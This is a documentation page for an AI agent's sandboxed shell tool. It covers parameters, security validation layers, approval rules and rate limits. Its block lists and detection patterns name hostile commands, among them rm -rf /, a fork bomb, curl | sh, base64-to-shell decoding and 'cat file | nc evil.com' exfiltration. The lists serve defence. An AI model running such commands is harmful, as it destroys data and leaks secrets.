Skip to main content

Documentation Index

Fetch the complete documentation index at: https://mintlify.com/nearai/ironclaw/llms.txt

Use this file to discover all available pages before exploring further.

​
Overview

The shell tool executes commands in a controlled environment with comprehensive security validations, timeout enforcement, and optional Docker sandbox isolation.

​
shell

Execute shell commands for builds, tests, git operations, and other CLI tasks. Commands run in a subprocess with captured output. Input Parameters
​
command
string
required
The shell command to execute
​
workdir
string
Working directory for the command (optional)
​
timeout
integer
default:120
Timeout in seconds
Output
​
output
string
Combined stdout and stderr output (truncated to 64KB)
​
exit_code
integer
Process exit code (0 = success)
​
success
boolean
True if exit code is 0
​
sandboxed
boolean
True if command ran in Docker sandbox
Example 
{
  "command": "cargo build --release",
  "workdir": "/home/user/project",
  "timeout": 300
}
Response 
{
  "output": "Compiling my-project v0.1.0\n   Finished release [optimized] target(s) in 45.2s",
  "exit_code": 0,
  "success": true,
  "sandboxed": false
}

​
Security Layers

Commands pass through multiple validation stages before execution:

​
1. Blocked Commands

Exact pattern matches that are always rejected:
  • rm -rf /, rm -rf /*
  • Fork bombs: :(){ :|:& };:
  • Disk wipe: dd if=/dev/zero, mkfs, > /dev/sda
  • Piped execution: curl | sh, wget | bash

​
2. Dangerous Patterns

Substring matches for potentially dangerous commands:
  • Privilege escalation: sudo, doas
  • Piped execution: | sh, | bash, eval
  • Remote execution: $(curl, $(wget
  • Sensitive files: /etc/passwd, ~/.ssh, id_rsa

​
3. Injection Detection

Obfuscation and exfiltration patterns:
  • Base64 to shell: base64 -d | sh
  • Encoded escapes: printf '\x...' | bash
  • Hex decode: xxd -r ... | sh
  • DNS exfiltration: dig $(cat secret)...
  • Netcat piping: cat file | nc evil.com
  • File uploads: curl -d @/etc/passwd, wget --post-file
  • String reversal: echo 'hs | lr' | rev | sh

​
4. Environment Scrubbing

When running directly (no sandbox):
  • Only safe environment variables forwarded to child processes
  • API keys, tokens, and credentials NOT inherited
  • Prevents secret leakage via env, printenv, or child processes
Safe Environment Variables:
  • Core OS: PATH, HOME, USER, SHELL, TERM
  • Locale: LANG, LC_*
  • Directories: PWD, TMPDIR, XDG_*
  • Toolchains: CARGO_HOME, RUSTUP_HOME, NODE_PATH
  • Editor: EDITOR, VISUAL

​
Execution Modes

​
Docker Sandbox (When Available)

Commands run inside ephemeral containers:
  • Network traffic through validating proxy
  • Credentials injected by proxy (never exposed)
  • Filesystem isolation
  • Resource limits enforced

​
Direct Execution (Fallback)

Commands run on host with:
  • Scrubbed environment (safe vars only)
  • Working directory isolation
  • Timeout enforcement
  • Output capture and truncation
The tool never silently falls through to unsandboxed execution if sandbox was configured. Either sandbox runs or execution fails.

​
Approval Requirements

The following commands ALWAYS require explicit approval, even if shell tool is auto-approved:

​
Destructive Commands

  • rm -rf, rm -fr
  • chmod 777, chown -r
  • shutdown, reboot, poweroff
  • kill -9, killall, pkill

​
System Changes

  • iptables, nft
  • useradd, userdel, passwd
  • visudo, crontab
  • systemctl disable

​
Version Control

  • git push --force, git push -f
  • git reset --hard
  • git clean -f

​
Docker Operations

  • docker rm, docker rmi
  • docker system prune

​
Database Operations

  • DROP TABLE, DROP DATABASE
  • TRUNCATE, DELETE FROM

​
Rate Limiting

  • 30 calls per minute
  • 300 calls per hour

​
Output Handling

  • Maximum output size: 64KB
  • Longer output truncated (head + tail shown with size indicator)
  • Both stdout and stderr captured
  • Separate stderr section if both present
Truncated Output Example: 
[first 32KB]

... [truncated 50000 bytes] ...

[last 32KB]

​
Error Conditions

​
NotAuthorized
  • Blocked command pattern detected
  • Dangerous pattern detected
  • Command injection/obfuscation detected
​
ExecutionFailed
  • Failed to spawn command
  • Sandbox error
​
Timeout
  • Command exceeded timeout (default 120s)

​
Examples

​
Build Command

{
  "command": "npm run build",
  "workdir": "/app",
  "timeout": 600
}

​
Git Operations

{
  "command": "git log --oneline -10"
}

​
Test Suite

{
  "command": "cargo test --release",
  "timeout": 300
}

{
  "command": "find . -name '*.rs' -type f | wc -l"
}

​
Best Practices

  1. Use specific working directories instead of cd commands
  2. Set appropriate timeouts for long-running operations
  3. Check exit codes to verify success
  4. Avoid sudo and privilege escalation
  5. Use git safely - avoid force push to main/master
  6. Prefer targeted commands over bulk deletions

Build docs developers (and LLMs) love

Get started for freeTalk to us